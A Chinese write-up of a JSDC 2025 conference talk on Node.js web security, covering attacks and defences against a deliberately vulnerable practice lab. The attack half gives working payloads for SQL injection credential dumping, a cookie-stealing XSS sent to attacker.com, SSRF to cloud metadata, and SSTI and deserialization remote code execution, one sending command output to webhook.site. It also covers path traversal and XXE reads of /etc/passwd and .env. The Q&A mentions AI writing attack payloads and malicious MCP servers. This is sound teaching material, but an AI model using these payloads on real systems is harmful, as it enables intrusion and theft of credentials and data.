本文整理自 JSDC 2025(JavaScript Developer Conference) 演講「從攻擊到防禦:系統化學習網站安全與滲透測試的實戰思維」,講者為林子婷(飛飛)。文章包含完整的攻擊 Payload 與實作環境,供讀者實際練習。
活動資訊:JSDC 2025 | 2025/11/29 | https://2025.jsdc.tw
前言
當我們在做滲透測試的時候,第一步永遠是資訊收集。有一次我在測試一個網站時,發現 HTTP Response 中出現了這樣的內容:
X-Powered-By: Express
Server: nginx/1.18.0 (Ubuntu)
這告訴我兩件事:後端是 Node.js(Express 框架),伺服器是 Nginx。
但知道這是 Node.js,真的改變了什麼嗎?
這個問題貫穿了整場演講,也是本文想要探討的核心。
實驗環境
本文所有攻擊都可以在以下環境中實際練習:
⚠️ 警告:請僅在授權的測試環境中練習,切勿對未經授權的系統進行測試。
第一部分:攻擊者視角
一、識別 Node.js 的方法
在開始攻擊之前,我們需要先確認目標的技術。以下是識別 Node.js 的幾種方法:
1.1 HTTP Response Headers
curl -I https://nodelab.feifei.tw
觀察回應中的:
- X-Powered-By: Express — 最直接的線索
- Server: nginx — 配合其他線索判斷
1.2 Cookie 命名慣例
打開瀏覽器開發者工具 → Application → Cookies,觀察:
- connect.sid — Express Session 的預設名稱
1.3 錯誤訊息洩漏
故意觸發錯誤,觀察 Stack Trace 中是否包含:
- node_modules
- at Object.<anonymous>
- Express 相關路徑
1.4 使用 Wappalyzer
安裝瀏覽器擴充套件 Wappalyzer,它會自動分析並顯示網站使用的技術。
二、通用漏洞(與語言無關)
以下漏洞無論後端是什麼語言都會測試,佔滲透測試發現漏洞的 60-70%。
2.1 SQL Injection
Lab 路徑:https://nodelab.feifei.tw/api/articles/
漏洞程式碼:
// 不安全的寫法 - 字串拼接
const query = SELECT * FROM articles WHERE id = ${req.params.id};
攻擊流程:
Step 1:探測漏洞
curl "https://nodelab.feifei.tw/api/articles/'"
如果回傳詳細錯誤訊息,表示可能存在 SQL Injection。
Step 2:確定欄位數量(ORDER BY)
# 測試 ORDER BY 1 到 ORDER BY 7
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 6-- -" # 成功
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 7-- -" # 失敗
# 結論:有 6 個欄位
Step 3:取得資料庫版本
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,version(),null,null,null,null-- -"
Step 4:列出所有資料表
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(table_name,','),null,null,null,null FROM information_schema.tables WHERE table_schema='public'-- -"
Step 5:取得 users 表的欄位
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(column_name,','),null,null,null,null FROM information_schema.columns WHERE table_name='users'-- -"
Step 6:取得帳號密碼
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(username||':'||password,','),null,null,null,null FROM users-- -"
預期結果:
test:password123,admin:secret1
2.2 XSS(跨站腳本攻擊)
反射型 XSS
Lab 路徑:https://nodelab.feifei.tw/search
漏洞程式碼:
app.get('/search', (req, res) => {
const keyword = req.query.keyword;
res.send(你搜尋的關鍵字是:${keyword}); // 直接輸出,未轉義
});
攻擊 Payload:
https://nodelab.feifei.tw/search?keyword=<script>alert('XSS')</script>
竊取 Cookie 的 Payload:
https://nodelab.feifei.tw/search?keyword=<img src=x onerror="new Image().src=' https://attacker.com/?c='+document.cookie">
DOM-based XSS
Lab 路徑:https://nodelab.feifei.tw/form
測試 Payload:
| 類型 | Payload | 預期結果 |
|---|---|---|
| HTML 注入 | <h1>這是標題</h1> | 顯示為 H1 標題 |
| CSS 注入 | <style>body{background:red}</style> | 背景變紅 |
| JS 注入 | <script>alert(‘XSS’)</script> | 彈出對話框 |
2.3 JWT 誤用
Lab 路徑:https://nodelab.feifei.tw/api/auth/login
漏洞程式碼:
// 絕對不要這樣寫!
const token = jwt.sign({
id: user.id,
username: user.username,
password: user.password // 密碼放進 JWT!
}, secretKey);
💬 講者原話:「大家不要笑,這些全部都是真實的案例。」
這不是虛構的教學範例,而是在實際滲透測試中真的遇到過的情況。
攻擊方式:
-
取得 JWT Token
curl -X POST https://nodelab.feifei.tw/api/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"test","password":"password123"}' -
解碼 JWT(到 https://jwt.io)
- JWT 中間部分是 Base64 編碼
- 解碼後可能看到明文密碼
2.4 敏感資料洩露
Lab 路徑:https://nodelab.feifei.tw/api/users
漏洞程式碼:
app.get('/api/users/:id', async (req, res) => {
const user = await User.findById(req.params.id);
res.json(user); // 直接回傳整個物件,包含密碼
});
💬 講者原話:「這個東西在什麼時候會出現?Vibe Coding 的時候。」
「所以這時候 API 就會洩露密碼,所有東西全部都列出來,完整的非常貼心,還整理好了,直接打包送給駭客。」
「請在座各位不要這樣寫,如果今天你在用 Vibe Coding,請務必確認一下有沒有這樣寫。」
為什麼 Vibe Coding 容易出現這個問題?
當你用 AI 快速生成 CRUD API 時,AI 為了「方便」會直接回傳整個資料庫物件,而不會特別過濾敏感欄位。如果開發者沒有仔細檢查,這些程式碼就會直接上線。
攻擊方式:
curl https://nodelab.feifei.tw/api/users/1
可能的回傳:
{
"id": 1,
"username": "admin",
"email": "admin@example.com",
"password": "hashed_password_here",
"created_at": "2024-01-01"
}
2.5 SSRF(伺服器端請求偽造)
Lab 路徑:https://nodelab.feifei.tw/fetch
漏洞程式碼:
app.get('/fetch', async (req, res) => {
const { url } = req.query;
const response = await axios.get(url); // 直接請求使用者提供的 URL
res.json(response.data);
});
攻擊 Payload:
存取內部 API:
curl "https://nodelab.feifei.tw/fetch?url=https://internal-api:4000/api/sensitive"
讀取本機檔案(如果支援 file 協定):
curl "https://nodelab.feifei.tw/fetch?url=file:///etc/passwd"
存取雲端 Metadata(AWS/GCP):
curl "https://nodelab.feifei.tw/fetch?url=https://169.254.169.254/latest/meta-data/"
💬 講者原話:「裡面有什麼?有你雲端上面的 Token、API Key 等等,這些是非常危險的。所以哪天你發現你家的 AWS 帳單暴增,看一下有沒有類似的問題。」
真實案例場景:
攻擊者透過 SSRF 取得 AWS Metadata 中的 IAM Role Token 後,可以:
- 啟動大量 EC2 實例進行挖礦
- 存取 S3 Bucket 中的敏感資料
- 修改安全群組設定
- 建立新的 IAM 使用者作為後門
這就是為什麼很多公司會突然收到巨額的雲端帳單。
三、Node.js 特定漏洞
以下漏洞是 Node.js 特有的,佔發現漏洞的 20-30%,但往往可以導致 RCE(遠端程式碼執行)。
3.1 SSTI(伺服器端模板注入)
Lab 路徑:
| 模板引擎 | URL |
|---|---|
| JsRender | https://nodelab.feifei.tw/ssti/JsRender-demo |
| PugJS | https://nodelab.feifei.tw/ssti/PugJS-demo |
| Nunjucks | https://nodelab.feifei.tw/ssti/Nunjucks-demo |
Step 1:確認 SSTI 漏洞存在
JsRender:
curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
-H "Content-Type: application/json" \
-d '{"payload":"{{:7*7}}"}'
# 預期結果:49
PugJS:
curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
-H "Content-Type: application/json" \
-d '{"template":"#{7*7}"}'
# 預期結果:49
Nunjucks:
curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
-H "Content-Type: application/json" \
-d '{"template":"{{7*7}}"}'
# 預期結果:49
Step 2:RCE 攻擊
💬 講者原話:「攻擊者可以嘗試執行系統的指令。這是搭配 Node.js 裡面的特性,還有各式各樣的內容。如果你看不懂沒有關係,回去可以拍起來,然後用 AI,反正現在 AI 都會幫你寫攻擊 Payload。」
「你不要覺得 AI 有攻擊的倫理道德,沒有,完全沒有。」
「你說『這個語法要怎麼寫,幫我把這個攻擊語法拼接出來』,它就會給你。」
JsRender – 讀取 /etc/passwd:
curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
-H "Content-Type: application/json" \
-d '{"payload":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"').toString()\")()}}"}'
PugJS – 建立檔案:
curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
-H "Content-Type: application/json" \
-d '{"template":"#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('"'"'child_process'"'"').exec('"'"'touch /tmp/pwned.txt'"'"')}()}"}'
Nunjucks – 讀取 /etc/passwd:
curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
-H "Content-Type: application/json" \
-d '{"template":"{{range.constructor(\"return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"')\")()}}"}'
⚠️ 講者提醒:「對於白帽駭客、資安工程師來講,我們測試到這樣就好了。但如果是一個黑帽駭客,就是你所謂聽過一些邪惡的駭客,他可能就會下 rm -rf / 之類的。有一些駭客就是基於『好好玩有趣』,請不要在你家公司內部這樣下,會出大事。」
3.2 不安全的反序列化
Lab 路徑:https://nodelab.feifei.tw/api/serialize
漏洞程式碼:
const serialize = require('node-serialize');
app.post('/api/serialize', (req, res) => {
const data = serialize.unserialize(req.body); // 危險!
res.json(data);
});
攻擊 Payload:
基本測試:
curl -X POST https://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"key":"value"}'
RCE – Console.log:
curl -X POST https://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"rce":"_$$ND_FUNC$$_function(){console.log(\"RCE successful\");}()"}'
RCE – 讀取系統資訊(Out-of-Band):
# 先到 webhook.site 取得你的 URL
curl -X POST https://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"rce":"_$$ND_FUNC$$_function(){const https=require(\" https\");const {execSync}=require(\"child_process\");const result=execSync(\"uname -a\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/YOUR-UUID\",method:\"POST\"};const req= https.request(options);req.write(result);req.end();return {}}()"}'
3.3 Prototype Pollution(原型污染)
概念說明:
JavaScript 的所有物件都繼承自 Object.prototype。如果攻擊者能夠修改 Object.prototype,就會影響所有物件。
漏洞程式碼:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
攻擊 Payload:
{
"__proto__": {
"isAdmin": true
}
}
影響:
const user = {};
console.log(user.isAdmin); // true(被污染了!)
3.4 Path Traversal(路徑穿越)
Lab 路徑:https://nodelab.feifei.tw/api/pathTraversal
漏洞程式碼:
app.get('/api/pathTraversal', (req, res) => {
const filename = req.query.filename;
const content = fs.readFileSync(./upload/${filename}, 'utf8');
res.send(content);
});
攻擊 Payload:
正常存取:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=test.txt"
讀取 /etc/passwd:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../etc/passwd"
讀取環境變數:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../proc/self/environ"
讀取程式碼:
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../server.js"
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=/../.env"
3.5 Cache Pollution(快取污染)
Lab 路徑:https://nodelab.feifei.tw/api/cache
攻擊流程:
Step 1:清除快取
curl https://nodelab.feifei.tw/api/cache/flush
Step 2:確認快取為空
curl https://nodelab.feifei.tw/api/cache/getallvalue
Step 3:注入惡意腳本
curl -H "User-Agent: <script>alert('Hacked')</script>" \
https://nodelab.feifei.tw/api/cache/
Step 4:檢查快取內容
curl https://nodelab.feifei.tw/api/cache/getallvalue
3.6 XXE(XML 外部實體注入)
Lab 路徑:https://nodelab.feifei.tw/load_xml
攻擊 Payload:
curl -X POST https://nodelab.feifei.tw/load_xml \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>'
第二部分:防禦者視角
四、Express 框架安全加固
4.1 使用 Helmet
const helmet = require('helmet');
app.use(helmet());
Helmet 會自動設定多個安全標頭:
- Content-Security-Policy
- X-Content-Type-Options: nosniff
- X-Frame-Options: DENY
- X-XSS-Protection
4.2 隱藏技術資訊
app.disable('x-powered-by');
4.3 修改 Session 名稱
app.use(session({
name: 'sessionId', // 不要用預設的 connect.sid
secret: process.env.SESSION_SECRET,
cookie: {
httpsOnly: true,
secure: true,
sameSite: 'strict'
}
}));
💬 講者原話:「不要用預設的名字,你可以改成 sessionId,或是有些工程師會把它改成很像 PHP 的樣子。」
「這是一些『想要玩駭客的方法』,但不建議,因為你的主管朋友會問你說『你為什麼要這麼改?』然後你沒有辦法說服他。這樣子你可以叫他來聽我的議程。」
偽裝成其他技術(不建議,但有趣):
app.use(session({
name: 'PHPSESSID', // 偽裝成 PHP
// ...
}));
4.4 輸入驗證
const { body, validationResult } = require('express-validator');
app.post('/api/user',
body('email').isEmail().normalizeEmail(),
body('password').isLength({ min: 12 }),
body('username').trim().escape(),
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// 處理請求...
}
);
五、防禦特定漏洞
5.1 防禦 SQL Injection
// 使用參數化查詢
const { rows } = await db.query(
'SELECT * FROM articles WHERE id = $1',
[req.params.id]
);
// 或使用 ORM(Sequelize)
const article = await Article.findByPk(req.params.id);
5.2 防禦 XSS
const he = require('he');
const sanitizeHtml = require('sanitize-html');
const createDOMPurify = require('dompurify');
// 方法一:HTML 實體編碼
const safe = he.encode(userInput);
// 方法二:HTML 清理
const clean = sanitizeHtml(userInput);
// 方法三:DOMPurify
const purified = DOMPurify.sanitize(userInput);
5.3 防禦 Prototype Pollution
// 方法一:使用沒有原型的物件
const safeObject = Object.create(null);
// 方法二:凍結原型
Object.freeze(Object.prototype);
// 方法三:過濾危險屬性
function safeAssign(target, source) {
const dangerous = ['__proto__', 'constructor', 'prototype'];
for (let key in source) {
if (dangerous.includes(key)) continue;
target[key] = source[key];
}
return target;
}
5.4 防禦 SSRF
const { URL } = require('url');
const allowedHosts = ['api.example.com', 'data.example.com'];
app.get('/fetch', async (req, res) => {
const { url } = req.query;
try {
const parsedUrl = new URL(url);
// 白名單驗證
if (!allowedHosts.includes(parsedUrl.hostname)) {
return res.status(403).send('Access denied');
}
// 只允許 HTTP/HTTPS
if (!['https:', ' https:'].includes(parsedUrl.protocol)) {
return res.status(400).send('Invalid protocol');
}
const response = await axios.get(url);
res.json(response.data);
} catch (error) {
res.status(400).send('Invalid URL');
}
});
5.5 防禦 Path Traversal
const path = require('path');
app.get('/api/file', (req, res) => {
const filename = req.query.filename;
// 只取檔名,移除路徑
const safeFilename = path.basename(filename);
// 確認路徑在允許的目錄內
const filePath = path.join(__dirname, 'upload', safeFilename);
const uploadDir = path.join(__dirname, 'upload');
if (!filePath.startsWith(uploadDir)) {
return res.status(403).send('Access denied');
}
// 讀取檔案...
});
第三部分:Lab 路徑總整理
| 漏洞類型 | Lab 路徑 | HTTP 方法 |
|---|---|---|
| SQL Injection | /api/articles/:id | GET |
| XSS(反射型) | /search?keyword= | GET |
| XSS(DOM-based) | /form | GET/POST |
| JWT 誤用 | /api/auth/login | POST |
| 敏感資料洩露 | /api/users/:id | GET |
| SSRF | /fetch?url= | GET |
| SSTI – JsRender | /ssti/JsRender-demo | POST |
| SSTI – PugJS | /ssti/PugJS-demo | POST |
| SSTI – Nunjucks | /ssti/Nunjucks-demo | POST |
| 反序列化 | /api/serialize | POST |
| Path Traversal | /api/pathTraversal?filename= | GET |
| Cache Pollution | /api/cache/ | GET |
| XXE | /load_xml | POST |
| NoSQL Injection | /api/product/filter?category= | GET |
| 檔案上傳 | /upload | GET/POST |
| CRLF Injection | /redirect?url= | GET |
結論:Node.js Matters?
對攻擊者而言
是的,但不是全部。
- 60-70% 的漏洞與語言無關(SQL Injection、XSS、SSRF 等)
- 20-30% 需要 Node.js 專業知識(Prototype Pollution、SSTI、反序列化)
- 這 20-30% 往往可以導致 RCE(遠端程式碼執行)
對防禦者而言
是的,請擁抱你的技術。
- 理解 Node.js 的安全特性
- 建立 Node.js 特定的安全檢查清單
- 善用生態系統:helmet、express-validator、npm audit
💬 講者原話:「評估是否需要處理敏感的資料,有沒有在做個資的處理。個資法很重要,現在最高罰 1500 萬,所以請不要為了你們公司內部的這種個資的問題,或是你在幫客戶去寫程式碼的時候,忽略這件事情。」
安全的本質沒有變
無論使用什麼語言:
- 永遠不信任使用者輸入
- 最小權限原則
- 深度防禦
參考資源
- OWASP Web Security Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
- OWASP Node.js Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html
- Express Security Best Practices: https://expressjs.com/en/advanced/best-practice-security.html
- 練習環境: https://nodelab.feifei.tw
- GitHub: https://github.com/fei3363/ithelp_web_security_2024
本文整理自 JSDC 2025 演講內容。所有攻擊 Payload 僅供學習用途,請在授權環境中練習。
附錄:Q&A 精選
以下是演講後的 Q&A 環節精華:
Q1:被雜湊過的密碼還可以利用嗎?
💬 講者回答:「我們可以破解雜湊。第一個叫 Hashcat 可以破解,另外一個叫 CMD5 的網站。這個中國的網站,你把雜湊丟進去之後,它會自動幫你進行反解。」
「你說雜湊不能反解嗎?這邊有個攻擊叫彩虹表,它在後端 map 純文字密碼跟雜湊的值。你會發現有時候查下去需要錢,這是他們的商業模式。」
密碼破解工具:
- Hashcat:本地端 GPU 加速破解
- John the Ripper:經典密碼破解工具
- CMD5.com:線上雜湊查詢服務(彩虹表)
Q2:Vibe Coding 造成很多漏洞,怎麼看?
💬 講者回答:「工作機會有啦!沒錯,就是工作機會。我越喜歡大家使用 Vibe Coding,我就越有更多漏洞可以打。」
「這是個資安工程師的想法,但實際上我們會發現 Vibe Coding 在寫程式碼的時候,如果你有再看 Code 的話…因為我有一些 Vibe Coding 客戶是不會看 Code 的。」
「我們覺得未來應該會有一些自動化的 AI 工具可以幫我們掃描,其實現在已經有了。但我們會發現這些 AI 資安掃描的自動化工具,你可能掃完描你還會看不懂。Vibe Coding 看不懂,那你可能就要叫 AI 改。」
講者本次示範的程式碼:
「我在這次示範的程式碼全部都是 Vibe Coding 寫出來的,那時候還是用 GPT 寫的,現在應該可以寫出更漂亮、更好看的,因為有 Claude Code。」
Q3:有什麼破壞不可否認性的案例嗎?
💬 講者回答:「有時候你寫日誌的時候寫的太明白,日誌裡面可以找到帳號密碼。你把 Console Log 裡面塞了一大堆東西為了要 Debug,然後我可以從日誌裡面看到一些內容。」
「還有就是駭客進去之後把你日誌刪掉。不要覺得駭客不會做這種事情,有些駭客進去之後把所有的事情亂搞,亂搞完之後就開始進行日誌的清理,把你的日誌也清掉。」
日誌安全建議:
- 不要在日誌中記錄敏感資訊(密碼、Token)
- 將日誌傳送到獨立的日誌伺服器
- 設定日誌不可刪除(append-only)
- 定期備份日誌
Q4:MCP 有成熟的攻擊語法跟注入方法嗎?
💬 講者回答:「有。MCP 本身有時候會變成惡意的軟體,就是你信任這個 MCP,那我就可以在這 MCP 裡面用這個去偷你電腦裡面的東西。」
「實際上我們在使用 MCP 的時候,應該要注意它到底請求哪些權限、做了什麼事情。我相信很多 Vibe Coding 的人他不會覺得 MCP 有什麼風險,但就是有風險。」
MCP 安全建議:
- 只使用可信來源的 MCP
- 檢查 MCP 請求的權限範圍
- 在沙盒環境中測試新的 MCP
- 定期審查已安裝的 MCP
Q5:有推薦的掃描工具嗎?
💬 講者回答:「掃描工具有分黑箱跟白箱。白箱就是打開看得到裡面的程式碼。如果是黑箱的話你可以用 OWASP ZAP。現在 AI 工具其實也可以,可以用一些 OWASP 他們開發的工具,這是開源免費的。」
推薦工具清單:
| 類型 | 工具 | 說明 |
|---|---|---|
| 黑箱測試 | OWASP ZAP | 免費開源,功能強大 |
| 黑箱測試 | Burp Suite | 業界標準,有免費版 |
| 白箱測試 | SonarQube | 程式碼品質與安全掃描 |
| 白箱測試 | Snyk | npm 套件漏洞掃描 |
| 依賴檢查 | npm audit | Node.js 內建 |
| AI 輔助 | GitHub Copilot | 可以幫忙找漏洞 |
講者提醒
「大家都不要成為腳本小子,我不想要看你等一下又被警察抓走。就算被抓走,不要說我教的,今天走出去你們就忘記這一切。」
「回去的時候可以跟資安 Team 做好朋友,但是在座開發者可能常常會跟資安人員吵架…」
「練習環境:nodelab.feifei.tw(回去可以打打看,記得通知我,我會幫你重開)」
